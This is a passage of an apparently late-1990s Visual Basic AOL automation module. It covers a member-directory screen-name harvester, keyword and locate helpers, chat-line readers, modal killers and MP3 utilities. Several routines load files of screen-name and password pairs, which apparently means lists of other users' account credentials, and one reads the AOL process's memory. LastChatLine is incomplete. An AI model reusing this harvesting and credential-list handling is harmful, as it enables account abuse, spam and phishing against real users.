Public Sub KaiMemberGather(Search As String, list As ListBox, AddOnliners As Boolean)
'i'd like to thank db's brain
'for giving me the idea
'to make an elite m/d
'gatherer just like this one
'thx db -=]
'this m/d gather is different
'from the other m/d gather because:
'instead of clicking the 'more' button
'until aol gets an 'internal error'...
'this gets the text of the static above
'the list, and using the static, it
'decides how many times it should click the
'"more" button. i haven't fully tested this
'on every type of situation possible, which
'is why i kept the other gather just in case
Dim aol As Long, mdi As Long, kai As Long, ListAmount As Long
Dim mWin As Long, medit As Long, micon As Long, mCheck As Long, mCheckState As Long
Dim sWin As Long, sList As Long, sIcon As Long, sCount As Long, sStatic As Long, sString As String, sAmount As String
Dim mgWin As Long, mgBut As Long, firstcount As Long, SecondCount As Long, sOf As Long, sGay As String, lGay As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
mWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Member Directory")
If mWin& = 0& Then
Call Keyword("profile")
End If
Do
DoEvents
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
mWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Member Directory")
medit& = FindWindowEx(mWin&, 0&, "_AOL_Edit", vbNullString)
micon& = FindWindowEx(mWin&, 0&, "_AOL_Icon", vbNullString)
micon& = FindWindowEx(mWin&, micon&, "_AOL_Icon", vbNullString)
micon& = FindWindowEx(mWin&, micon&, "_AOL_Icon", vbNullString)
micon& = FindWindowEx(mWin&, micon&, "_AOL_Icon", vbNullString)
mCheck& = FindWindowEx(mWin&, 0&, "_AOL_Checkbox", vbNullString)
mCheck& = FindWindowEx(mWin&, mCheck&, "_AOL_Checkbox", vbNullString)
mCheck& = FindWindowEx(mWin&, mCheck&, "_AOL_Checkbox", vbNullString)
mCheck& = FindWindowEx(mWin&, mCheck&, "_AOL_Checkbox", vbNullString)
mCheck& = FindWindowEx(mWin&, mCheck&, "_AOL_Checkbox", vbNullString)
Loop Until mWin& <> 0& And medit& <> 0& And micon& <> 0& And mCheck& <> 0&
If AddOnliners = True Then
Do
DoEvents
Call SendMessage(mCheck&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(mCheck&, WM_LBUTTONUP, 0&, 0&)
mCheckState& = SendMessage(mCheck&, BM_GETCHECK, 0&, 0&)
Loop Until mCheckState& = 1&
ElseIf AddOnliners = False Then
Do
DoEvents
Call SendMessage(mCheck&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(mCheck&, WM_LBUTTONUP, 0&, 0&)
mCheckState& = SendMessage(mCheck&, BM_GETCHECK, 0&, 0&)
Loop Until mCheckState& = 0&
End If
Call SendMessageByString(medit&, WM_SETTEXT, 0&, Search$)
Call SendMessageLong(medit&, WM_CHAR, ENTER_KEY, 0&)
Call SendMessage(micon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(micon&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
mgWin& = FindWindow("#32770", "America Online")
mgBut& = FindWindowEx(mgWin&, 0&, "Button", "OK")
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
sWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Member Directory Search Results")
sList& = FindWindowEx(sWin&, 0&, "_AOL_Listbox", vbNullString)
sIcon& = FindWindowEx(sWin&, 0&, "_AOL_Icon", vbNullString)
sStatic& = FindWindowEx(sWin&, 0&, "_AOL_Static", vbNullString)
Loop Until mgWin& <> 0& And mgBut& <> 0& Or sWin& <> 0& And sList& <> 0& And sIcon& <> 0& And sStatic& <> 0&
If mgWin& <> 0& Then
Call PostMessage(mgBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(mgBut&, WM_KEYUP, VK_SPACE, 0&)
ElseIf sWin& <> 0& Then
Do
DoEvents
sCount& = SendMessage(sList&, LB_GETCOUNT, 0&, 0&)
Loop Until sCount& <> 0&
pause (0.6)
sString$ = GetText(sStatic&)
sOf& = InStr(1, sString$, " of ")
sAmount$ = Mid(sString, sOf& + 4&, 2&)
If Left(sAmount$, 1&) = "1" Or Len(Trim(sAmount$)) = 1& Then
ListAmount& = 1&
ElseIf Left(sAmount$, 1&) = "2" Or Left(sAmount$, 1&) = "3" Then
If Left(sAmount$, 1&) = "2" And Right(sAmount$, 1&) = "0" Then
ListAmount& = 1&
Else
ListAmount& = 2&
End If
ElseIf Left(sAmount$, 1&) = "4" Or Left(sAmount$, 1&) = "5" Then
If Left(sAmount$, 1&) = "4" And Right(sAmount$, 1&) = "0" Then
ListAmount& = 2&
Else
ListAmount& = 3&
End If
ElseIf Left(sAmount$, 1&) = "6" Or Left(sAmount$, 1&) = "7" Then
If Left(sAmount$, 1&) = "6" And Right(sAmount$, 1&) = "0" Then
ListAmount& = 3&
Else
ListAmount& = 4&
End If
ElseIf Left(sAmount$, 1&) = "8" Or Left(sAmount$, 1&) = "9" Then
If Left(sAmount$, 1&) = "8" And Right(sAmount$, 1&) = "0" Then
ListAmount& = 4&
Else
ListAmount& = 5&
End If
ElseIf Left(sAmount$, 1&) = "o" Then
ListAmount& = 5&
End If
For kai& = 1 To ListAmount& - 1
sIcon& = FindWindowEx(sWin&, 0&, "_AOL_Icon", vbNullString)
Call SendMessage(sIcon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(sIcon&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
firstcount& = SendMessage(sList&, LB_GETCOUNT, 0&, 0&)
pause (0.6)
SecondCount& = SendMessage(sList&, LB_GETCOUNT, 0&, 0&)
mgWin& = FindWindow("#32770", "America Online")
mgBut& = FindWindowEx(mgWin&, 0&, "Button", "OK")
Loop Until firstcount& <> SecondCount& Or mgWin& <> 0& And mgBut& <> 0&
Next kai&
Call MemberList(sList&, list)
Call PostMessage(sWin&, WM_CLOSE, 0&, 0&)
Do
DoEvents
sWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Member Directory Search Results")
Loop Until sWin& = 0&
End If
End Sub
Public Sub Keyword(KW As String)
'goes to keyword on aol
Dim aol As Long, mdi As Long, TBar As Long, kCombo As Long
Dim tWin As Long, kEdit As Long, tb As Long
If AOLVersion = "3" Or AOLVersion = "2.5" Then
Call KeyWord25(KW$)
Exit Sub
End If
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
tb& = FindWindowEx(aol&, 0&, "AOL Toolbar", vbNullString)
TBar& = FindWindowEx(tb&, 0&, "_AOL_Toolbar", vbNullString)
kCombo& = FindWindowEx(TBar&, 0&, "_AOL_Combobox", vbNullString)
kEdit& = FindWindowEx(kCombo&, 0&, "Edit", vbNullString)
Call SendMessageByString(kEdit&, WM_SETTEXT, 0&, KW$)
Call SendMessageLong(kEdit&, WM_CHAR, VK_SPACE, 0&)
Call SendMessageLong(kEdit&, WM_CHAR, VK_RETURN, 0&)
End Sub
Public Sub KeyWord25(KW As String)
'goes to keyword on aol 2.5 and 3.0
Dim aol As Long, mdi As Long, TBar As Long, tIcon As Long
Dim tLong As Long, kWin As Long, kEdit As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
TBar& = FindWindowEx(aol&, 0&, "AOL Toolbar", vbNullString)
tIcon& = FindWindowEx(TBar&, 0&, "_AOL_Icon", vbNullString)
If AOLVersion = "2.5" Then
For tLong& = 1 To 12
tIcon& = FindWindowEx(TBar&, tIcon&, "_AOL_Icon", vbNullString)
Next tLong
ElseIf AOLVersion = "3" Then
For tLong& = 1 To 17
tIcon& = FindWindowEx(TBar&, tIcon&, "_AOL_Icon", vbNullString)
Next tLong
End If
Call SendMessage(tIcon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(tIcon&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
kWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Keyword")
kEdit& = FindWindowEx(kWin&, 0&, "_AOL_Edit", vbNullString)
Loop Until kWin& <> 0& And kEdit& <> 0&
Call SendMessageByString(kEdit&, WM_SETTEXT, 0&, KW$)
Call SendMessageLong(kEdit&, WM_CHAR, ENTER_KEY, 0&)
End Sub
Public Sub killwait()
'gets rid of the hourglass on aol
Dim KWWin As Long, kwIcon As Long
Call ModalKill
Call RunMenuByString("&About America Online")
Do
DoEvents
KWWin& = FindWindow("_AOL_Modal", vbNullString)
kwIcon& = FindWindowEx(KWWin&, 0&, "_AOL_Icon", vbNullString)
Loop Until KWWin& <> 0& And kwIcon& <> 0&
Do
DoEvents
KWWin& = FindWindow("_AOL_Modal", vbNullString)
Call SendMessage(kwIcon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(kwIcon&, WM_LBUTTONUP, 0&, 0&)
Loop Until KWWin& = 0&
End Sub
Public Function LastChatLine() As String
'gets the last line of the chat [sn included]
'to make a c-com, u'd put this into a timer w/ interval set to '1'
'-=start copying c-com code=-
'Dim ScreenName As String, Message As String
'Static Length As Long, Length2 As Long
'
'Length2 = ChatLength
'If Length < Length2 Then
' ScreenName$ = SNFromLastChatLine(LastChatLine)
' Message$ = LastChatLineMessage(LastChatLine)
' If ScreenName$ = GetUser Then
' If Message = ".testing" Then
' Call ChatSend("this thing works")
' End If
' End If
'End If
'Length = ChatLength
'-=stop copying c-com code=-
Dim rWin As Long, rCNTL As Long
Dim rChr As Long, rChr2 As Long, rText As String
If AOLVersion = "4" Or AOLVersion = "5" Then
rWin& = FindRoom
rCNTL& = FindWindowEx(rWin&, 0&, "RICHCNTL", vbNullString)
Else
rWin& = FindRoom25
rCNTL& = FindWindowEx(rWin&, 0&, "_AOL_View", vbNullString)
End If
If rCNTL& = 0& Then LastChatLine = "": Exit Function
rText$ = GetText(rCNTL&)
'use the below loop if you don't have vb6
'Do
' DoEvents
' rChr& = InStr(rChr2& + 1, rText$, Chr(13))
' If rChr& = 0& Then rChr& = rChr2&: Exit Do
'
' rChr2& = InStr(rChr& + 1, rText$, Chr(13))
' If rChr2& = 0& Then rChr& = rChr&: Exit Do
'Loop
'use this if you have vb6
End Function
Public Function LastChatLineMessage(ChatLine As String) As String
'gets message from whatever string you put in
Dim msgColon As Long, msgName As String
msgColon& = InStr(1, ChatLine$, Chr(9))
msgName$ = Right(ChatLine$, Len(ChatLine$) - msgColon&)
If AOLVersion = "3" Or AOLVersion = "2.5" Then
If InStr(1, msgName$, vbNullChar) <> 0& Then
msgName$ = Left(msgName$, InStr(1, msgName$, vbNullChar) - 1)
End If
End If
LastChatLineMessage = msgName$
End Function
Public Function LineCount(Text As String) As Long
'counts number of lines in a string
LineCount = StringCount(Text$, Chr(13))
End Function
Public Sub ListTo2Lists(firstlist As Control, List1 As Control, List2 As Control)
'moves 1 list's items into 2 lists
Dim i As Long, strSN As String, strPW As String, lstInput As String
For i = 0 To firstlist.ListCount - 1
lstInput$ = firstlist.list(i)
If InStr(1, lstInput$, ":") <> 0& Then
strSN$ = Left(lstInput$, InStr(1, lstInput$, ":") - 1)
strPW$ = Right(lstInput$, Len(lstInput$) - InStr(1, lstInput$, ":"))
If Trim(strSN$) <> "" And Trim(strPW$) <> "" Then
List1.AddItem strSN$
List2.AddItem strPW$
End If
End If
Next i
End Sub
Public Sub Load2Combos(ComboSN As ComboBox, ComboPW As ComboBox, Target As String)
'self explanatory
On Error Resume Next
Dim lstInput As String, strSN As String, strPW As String
Open Target$ For Input As #1
While Not EOF(1) = True
DoEvents
Input #1, lstInput$
If InStr(1, lstInput$, ":") <> 0& Then
strSN$ = Left(lstInput$, InStr(1, lstInput$, ":") - 1)
strPW$ = Right(lstInput$, Len(lstInput$) - InStr(1, lstInput$, ":"))
If Trim(strSN$) <> "" And Trim(strPW$) <> "" Then
ComboSN.AddItem strSN$
ComboPW.AddItem strPW$
End If
ElseIf InStr(1, lstInput$, "-") Then
strSN$ = Left(lstInput$, InStr(1, lstInput$, "-") - 1)
strPW$ = Right(lstInput$, Len(lstInput$) - InStr(1, lstInput$, "-"))
If Trim(strSN$) <> "" And Trim(strPW$) <> "" Then
ComboSN.AddItem strSN$
ComboPW.AddItem strPW$
End If
ElseIf InStr(1, lstInput$, "=") Then
strSN$ = Left(lstInput$, InStr(1, lstInput$, "=") - 1)
strPW$ = Right(lstInput$, Len(lstInput$) - InStr(1, lstInput$, "="))
If Trim(strSN$) <> "" And Trim(strPW$) <> "" Then
ComboSN.AddItem strSN$
ComboPW.AddItem strPW$
End If
ElseIf InStr(1, lstInput$, "·") Then
strSN$ = Left(lstInput$, InStr(1, lstInput$, "·") - 1)
strPW$ = Right(lstInput$, Len(lstInput$) - InStr(1, lstInput$, "·"))
If Trim(strSN$) <> "" And Trim(strPW$) <> "" Then
ComboSN.AddItem Trim(strSN$)
ComboPW.AddItem Trim(strPW$)
End If
End If
Wend
Close #1
End Sub
Public Sub Load2Lists(ListSN As Control, ListPW As Control, Target As String)
'self explanatory
On Error Resume Next
Dim lstInput As String, strSN As String, strPW As String
If FileExists(Target$) = True Then
Open Target$ For Input As #1
While Not EOF(1) = True
'DoEvents
Input #1, lstInput$
If InStr(1, lstInput$, "]-[") <> 0& And InStr(1, lstInput$, "=") <> 0& Then
lstInput$ = Mid(lstInput$, InStr(1, lstInput$, "]-[") + 3, Len(lstInput$) - 6)
strSN$ = Left(lstInput$, InStr(1, lstInput$, "=") - 1)
strPW$ = Right(lstInput$, Len(lstInput$) - InStr(1, lstInput$, "="))
If Trim(strSN$) <> "" And Trim(strPW$) <> "" Then
ListSN.AddItem Trim(strSN$)
ListPW.AddItem Trim(strPW$)
End If
ElseIf InStr(1, lstInput$, ":") <> 0& Then
strSN$ = Left(lstInput$, InStr(1, lstInput$, ":") - 1)
strPW$ = Right(lstInput$, Len(lstInput$) - InStr(1, lstInput$, ":"))
If Trim(strSN$) <> "" And Trim(strPW$) <> "" Then
ListSN.AddItem Trim(strSN$)
ListPW.AddItem Trim(strPW$)
End If
ElseIf InStr(1, lstInput$, "-") Then
strSN$ = Left(lstInput$, InStr(1, lstInput$, "-") - 1)
strPW$ = Right(lstInput$, Len(lstInput$) - InStr(1, lstInput$, "-"))
If Trim(strSN$) <> "" And Trim(strPW$) <> "" Then
ListSN.AddItem Trim(strSN$)
ListPW.AddItem Trim(strPW$)
End If
ElseIf InStr(1, lstInput$, "=") Then
strSN$ = Left(lstInput$, InStr(1, lstInput$, "=") - 1)
strPW$ = Right(lstInput$, Len(lstInput$) - InStr(1, lstInput$, "="))
If Trim(strSN$) <> "" And Trim(strPW$) <> "" Then
ListSN.AddItem Trim(strSN$)
ListPW.AddItem Trim(strPW$)
End If
ElseIf InStr(1, lstInput$, "·") Then
strSN$ = Left(lstInput$, InStr(1, lstInput$, "·") - 1)
strPW$ = Right(lstInput$, Len(lstInput$) - InStr(1, lstInput$, "·"))
If Trim(strSN$) <> "" And Trim(strPW$) <> "" Then
ListSN.AddItem Trim(strSN$)
ListPW.AddItem Trim(strPW$)
End If
End If
Wend
Close #1
End If
End Sub
Public Sub Load2ListsMp3(ListSN As ListBox, ListPW As ListBox, Target As String)
'self explanatory
On Error Resume Next
Dim lstInput As String, strSN As String, strPW As String
If FileExists(Target$) = True Then
Open Target$ For Input As #1
While Not EOF(1) = True
'DoEvents
Input #1, lstInput$
If InStr(1, lstInput$, ":") <> 0& Then
strSN$ = Left(lstInput$, InStr(1, lstInput$, ":") - 1)
strPW$ = Right(lstInput$, Len(lstInput$) - InStr(1, lstInput$, ":"))
If Trim(strSN$) <> "" And Trim(strPW$) <> "" Then
ListSN.AddItem strSN$
ListPW.AddItem strPW$
End If
End If
Wend
Close #1
End If
End Sub
Public Sub LoadCombo(FileName As String, Combo As ComboBox)
'self explanatory
Dim lstInput As String
On Error Resume Next
Open FileName$ For Input As #1
While Not EOF(1)
Input #1, lstInput$
DoEvents
Combo.AddItem ReplaceText(lstInput$, "@aol.com", "")
Wend
Close #1
End Sub
Public Sub loadlist(FileName As String, list As Control)
'self explanatory
Dim lstInput As String
On Error Resume Next
Open FileName$ For Input As #1
While Not EOF(1)
Input #1, lstInput$
'DoEvents
list.AddItem ReplaceText(lstInput$, "@aol.com", "")
Wend
Close #1
End Sub
Public Sub LoadText(Text As String, FileName As String)
'self explanatory
On Error Resume Next
Open FileName$ For Input As #1
Text$ = Input(LOF(1), #1)
Close #1
End Sub
Public Function cformat(number As Long) As String
If IsNumeric(number&) = False Then Exit Function
If number& = 0 Then
cformat$ = "0"
Else
cformat$ = Format(number&, "###,###")
End If
End Function
Public Function Locate(screenname As String) As String
'function - returns where the screen name is.
'example:
'Call ChatSend("" + Locate("TOSAdvisor") + "")
Dim lWin As Long, lStatic As Long, mWin As Long, mBut As Long, lString As String
Call Keyword("aol://3548:" + screenname$)
Do
DoEvents
lWin& = FindLocate
lStatic& = FindWindowEx(lWin&, 0&, "_AOL_Static", vbNullString)
mWin& = FindWindow("#32770", "America Online")
mBut& = FindWindowEx(mWin&, 0&, "Button", "OK")
Loop Until lWin& <> 0& Or mWin& <> 0& And mBut& <> 0&
If lWin& <> 0& Then
lString$ = GetText(lStatic&)
Call PostMessage(lWin&, WM_CLOSE, 0&, 0&)
Locate = lString$
ElseIf mWin& <> 0& Then
Call PostMessage(mBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(mBut&, WM_KEYUP, VK_SPACE, 0&)
Call PostMessage(lWin&, WM_CLOSE, 0&, 0&)
Locate = ""
End If
End Function
Public Function Locate25(screenname As String) As String
'function - returns where the screen name is.
'example:
'Call ChatSend("" + Locate("696969") + "")
Dim lWin As Long, lStatic As Long, mWin As Long, mBut As Long, lString As String
Call KeyWord25("aol://3548:" + screenname$)
Do
DoEvents
lWin& = FindLocate
lStatic& = FindWindowEx(lWin&, 0&, "_AOL_Static", vbNullString)
mWin& = FindWindow("#32770", "America Online")
mBut& = FindWindowEx(mWin&, 0&, "Button", "OK")
Loop Until lWin& <> 0& Or mWin& <> 0& And mBut& <> 0&
If lWin& <> 0& Then
lString$ = GetText(lStatic&)
Call PostMessage(lWin&, WM_CLOSE, 0&, 0&)
Locate25 = lString$
ElseIf mWin& <> 0& Then
Call PostMessage(mBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(mBut&, WM_KEYUP, VK_SPACE, 0&)
Call PostMessage(lWin&, WM_CLOSE, 0&, 0&)
Locate25 = screenname$ + " - offline or ghosting"
End If
End Function
Public Function LTrim(Text As String) As String
'just makes the text lcase'd and trimspace'd
LTrim$ = LCase(TrimSpaces(Text$))
End Function
Sub Make3d(frm As Form, Ctl As Control)
'makes control '3d'
frm.ScaleMode = 3
frm.CurrentX = Ctl.Left - 1
frm.CurrentY = Ctl.Top + Ctl.Height
frm.Line -Step(0, -(Ctl.Height + 1)), RGB(92, 92, 92)
frm.Line -Step(Ctl.Width + 1, 0), RGB(92, 92, 92)
frm.Line -Step(0, Ctl.Height + 1), RGB(255, 255, 255)
frm.Line -Step(-(Ctl.Width + 1), 0), RGB(255, 255, 255)
End Sub
Public Sub MaximizeWindow(hWnd As Long)
'self explanatory
Call ShowWindow(hWnd&, SW_MAXIMIZE)
End Sub
Public Sub MemberGather(Search As String, lst As ListBox, AddOnliners As Boolean)
'searches for the 'search' string,
'checks the 'return online members only' checkbox [depending on how you set the 'addonliners' property],
'and then adds the search matches to a listbox [lst]
'it will only add the screen names
Dim aol As Long, mdi As Long
Dim mWin As Long, medit As Long, micon As Long, mCheck As Long, mCheckState As Long
Dim sWin As Long, sList As Long, sIcon As Long, sCount As Long, sStatic As Long, sString As String
Dim mgWin As Long, mgBut As Long, firstcount As Long, SecondCount As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
mWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Member Directory")
If mWin& = 0& Then
Call Keyword("profile")
End If
Do
DoEvents
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
mWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Member Directory")
medit& = FindWindowEx(mWin&, 0&, "_AOL_Edit", vbNullString)
micon& = FindWindowEx(mWin&, 0&, "_AOL_Icon", vbNullString)
micon& = FindWindowEx(mWin&, micon&, "_AOL_Icon", vbNullString)
micon& = FindWindowEx(mWin&, micon&, "_AOL_Icon", vbNullString)
micon& = FindWindowEx(mWin&, micon&, "_AOL_Icon", vbNullString)
mCheck& = FindWindowEx(mWin&, 0&, "_AOL_Checkbox", vbNullString)
mCheck& = FindWindowEx(mWin&, mCheck&, "_AOL_Checkbox", vbNullString)
mCheck& = FindWindowEx(mWin&, mCheck&, "_AOL_Checkbox", vbNullString)
mCheck& = FindWindowEx(mWin&, mCheck&, "_AOL_Checkbox", vbNullString)
mCheck& = FindWindowEx(mWin&, mCheck&, "_AOL_Checkbox", vbNullString)
Loop Until mWin& <> 0& And medit& <> 0& And micon& <> 0& And mCheck& <> 0&
If AddOnliners = True Then
Do
DoEvents
Call SendMessage(mCheck&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(mCheck&, WM_LBUTTONUP, 0&, 0&)
mCheckState& = SendMessage(mCheck&, BM_GETCHECK, 0&, 0&)
Loop Until mCheckState& = 1&
ElseIf AddOnliners = False Then
Do
DoEvents
Call SendMessage(mCheck&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(mCheck&, WM_LBUTTONUP, 0&, 0&)
mCheckState& = SendMessage(mCheck&, BM_GETCHECK, 0&, 0&)
Loop Until mCheckState& = 0&
End If
Call SendMessageByString(medit&, WM_SETTEXT, 0&, Search$)
Call SendMessageLong(medit&, WM_CHAR, ENTER_KEY, 0&)
Call SendMessage(micon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(micon&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
mgWin& = FindWindow("#32770", "America Online")
mgBut& = FindWindowEx(mgWin&, 0&, "Button", "OK")
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
sWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Member Directory Search Results")
sList& = FindWindowEx(sWin&, 0&, "_AOL_Listbox", vbNullString)
sIcon& = FindWindowEx(sWin&, 0&, "_AOL_Icon", vbNullString)
sStatic& = FindWindowEx(sWin&, 0&, "_AOL_Static", vbNullString)
Loop Until mgWin& <> 0& And mgBut& <> 0& Or sWin& <> 0& And sList& <> 0& And sIcon& <> 0& And sStatic& <> 0&
If mgWin& <> 0& Then
Call PostMessage(mgBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(mgBut&, WM_KEYUP, VK_SPACE, 0&)
ElseIf sWin& <> 0& Then
Do
DoEvents
sCount& = SendMessage(sList&, LB_GETCOUNT, 0&, 0&)
Loop Until sCount& <> 0&
pause (0.6)
BeforeClick:
sIcon& = FindWindowEx(sWin&, 0&, "_AOL_Icon", vbNullString)
Call SendMessage(sIcon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(sIcon&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
firstcount& = SendMessage(sList&, LB_GETCOUNT, 0&, 0&)
pause (0.6)
SecondCount& = SendMessage(sList&, LB_GETCOUNT, 0&, 0&)
mgWin& = FindWindow("#32770", "America Online")
mgBut& = FindWindowEx(mgWin&, 0&, "Button", "OK")
Loop Until firstcount& <> SecondCount& Or mgWin& <> 0& And mgBut& <> 0&
If mgWin& <> 0& And mgBut& <> 0& Then
Call PostMessage(mgBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(mgBut&, WM_KEYUP, VK_SPACE, 0&)
Call MemberList(sList&, lst)
Call PostMessage(sWin&, WM_CLOSE, 0&, 0&)
ElseIf firstcount& <> SecondCount& Then
GoTo BeforeClick
End If
End If
End Sub
Public Sub MemberList(AOLLst As Long, list As ListBox)
'adds the m/d list w/o all the other crap
'on it, such as the tab's, their member name etc..
On Error Resume Next
Dim cProcess As Long, itmHold As Long, screenname As String
Dim psnHold As Long, rBytes As Long, Index As Long, Room As Long
Dim rList As Long, sThread As Long, mThread As Long
Dim Ta As Long, Ta2 As Long
rList& = AOLLst
If rList& = 0& Then Exit Sub
sThread& = GetWindowThreadProcessId(rList, cProcess&)
mThread& = OpenProcess(PROCESS_READ Or RIGHTS_REQUIRED, False, cProcess&)
If mThread& Then
For Index& = 0 To SendMessage(rList, LB_GETCOUNT, 0, 0) - 1
screenname$ = String$(4, vbNullChar)
itmHold& = SendMessage(rList, LB_GETITEMDATA, ByVal CLng(Index&), ByVal 0&)
itmHold& = itmHold& + 24
Call ReadProcessMemory(mThread&, itmHold&, screenname$, 4, rBytes)
Call CopyMemory(psnHold&, ByVal screenname$, 4)
psnHold& = psnHold& + 6
screenname$ = String$(16, vbNullChar)
Call ReadProcessMemory(mThread&, psnHold&, screenname$, Len(screenname$), rBytes&)
screenname$ = Left$(screenname$, InStr(screenname$, vbNullChar) - 1)
'if the following looks familiar
'it's because i gave eses my m/d
'gather code [when we were cool]
Ta& = InStr(1, screenname$, Chr(9))
Ta2& = InStr(Ta& + 1, screenname$, Chr(9))
screenname$ = Mid(screenname$, Ta& + 1, Ta2& - 2)
screenname$ = ReplaceText(screenname$, Chr(9), "")
list.AddItem Trim(screenname$)
Next Index&
Call CloseHandle(mThread)
End If
End Sub
Public Sub MIDI_Play(MIDI As String)
'self explanatory
If FileExists(MIDI$) = True Then
Call MciSendString("play " & MIDI$, 0&, 0, 0)
End If
End Sub
Public Sub MIDI_Stop(MIDI As String)
'self explanatory
If FileExists(MIDI$) = True Then
Call MciSendString("stop " & MIDI$, 0&, 0, 0)
End If
End Sub
Public Sub MIDI_Pause(MIDI As String)
'self explanatory
If FileExists(MIDI$) = True Then
Call MciSendString("pause " & MIDI$, 0&, 0, 0)
End If
End Sub
Public Sub MinimizeWelcome()
'minimize's aol's welcome screen
Dim aol As Long, mdi As Long, Channels As Long, MainMenu As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
If FindWelcome& <> 0& Then
Call ShowWindow(FindWelcome&, SW_MINIMIZE)
End If
Channels& = FindWindowEx(mdi&, 0&, "AOL Child", "Channels")
MainMenu& = FindWindowEx(mdi&, 0&, "AOL Child", "Main Menu")
If Channels& <> 0& Then
Call PostMessage(Channels&, WM_CLOSE, 0&, 0&)
End If
If MainMenu& <> 0& Then
Call PostMessage(MainMenu&, WM_CLOSE, 0&, 0&)
End If
End Sub
Public Sub MinimizeWindow(hWnd As Long)
'self explanatory
Call ShowWindow(hWnd&, SW_MINIMIZE)
End Sub
Public Function ModalKill() As Long
Dim mWin As Long, mCount As Long
'this function counts the number of modals
'that were killed [and kills them];
'to use it, try:
'
'mKilled& = ModalKill&
'call MsgBox("" + mKilled& + " modals destroyed.", vbInformation + vbOkOnly, "modal kill")
Do
DoEvents
mWin& = FindWindow("_AOL_Modal", vbNullString)
If mWin& <> 0& Then
Call PostMessage(mWin&, WM_CLOSE, 0&, 0&)
mCount& = mCount& + 1
End If
Loop Until mWin& = 0&
ModalKill& = mCount&
End Function
Public Function Mp3TotalTime(Ocx As Control) As String
'gets the total time of an mp3 song [use mp3play1.ocx]
Dim strMp3 As Long, MinCount As Long
If Ocx.TotalTime = 0 Then
Mp3TotalTime$ = "0:00"
Exit Function
End If
strMp3& = Left(Ocx.GetWaveLengthSecs, InStr(1, Ocx.GetWaveLengthSecs, ".") - 1)
Do While strMp3& > 60
strMp3& = strMp3& - 60
MinCount& = MinCount& + 1
Loop
If Len(Str(MinCount&)) = 2 Then
Mp3TotalTime$ = MinCount& & ":" & strMp3&
Else
Mp3TotalTime$ = MinCount& & ":0" & strMp3&
End If
End Function
Public Function Mp3TotalTimeSecs(Ocx As Control) As Long
'gets total time of an mp3 [mp3play1.ocx]
Dim lngMp3 As Long
If Ocx.TotalTime = 0 Then
Mp3TotalTimeSecs& = "0"
Exit Function
End If
If InStr(1, Ocx.GetWaveLengthSecs, ".") <> 0& Then
lngMp3& = Left(Ocx.GetWaveLengthSecs, InStr(1, Ocx.GetWaveLengthSecs, ".") - 1)
Else
lngMp3& = Ocx.GetWaveLengthSecs
End If
Mp3TotalTimeSecs& = lngMp3&
End Function
Public Function Mp3Time(length As Long) As String
'converts length into time
Dim Minutes As Long, Seconds As Long
If length& <= 9 Then
Mp3Time$ = "0:0" & length&
ElseIf length& >= 10 And length& <= 59 Then
Mp3Time$ = "0:" & length&
ElseIf length& >= 60 Then
Do While length& >= 60
length& = length& - 60
Minutes = Minutes + 1
Loop
If length& <= 9 Then
Mp3Time$ = Minutes& & ":0" & length&
Else
Mp3Time$ = Minutes& & ":" & length&
End If
End If
End Function
Public Function Mp3UnTime(Tme As String) As Long
'converts time format into seconds
Dim Minutes As Long, Seconds As Long
Tme$ = ReplaceText(Tme$, "-", "")
If InStr(1, Tme$, ":") = 0& Then
Mp3UnTime = 0&
Exit Function
End If
Minutes& = Val(Left(Tme$, InStr(1, Tme$, ":") - 1))
Seconds& = Val(Right(Tme$, 2))
Seconds& = Val(Seconds&) + (Minutes& * 60)
Mp3UnTime = Seconds&
End Function
Public Function MsgKill() As Long
Dim mWin As Long, mBut As Long
Dim mBut2 As Long, mCount As Long
'similar to modal kill, only it kills
'aol's messageboxes..
'ie: full rooms, system response,
'deleting protected item errors, etc..
Do
DoEvents
mWin& = FindWindow("#32770", "America Online")
mBut& = FindWindowEx(mWin&, 0&, "Button", "OK") 'for msgboxes w/ 'ok' buttons
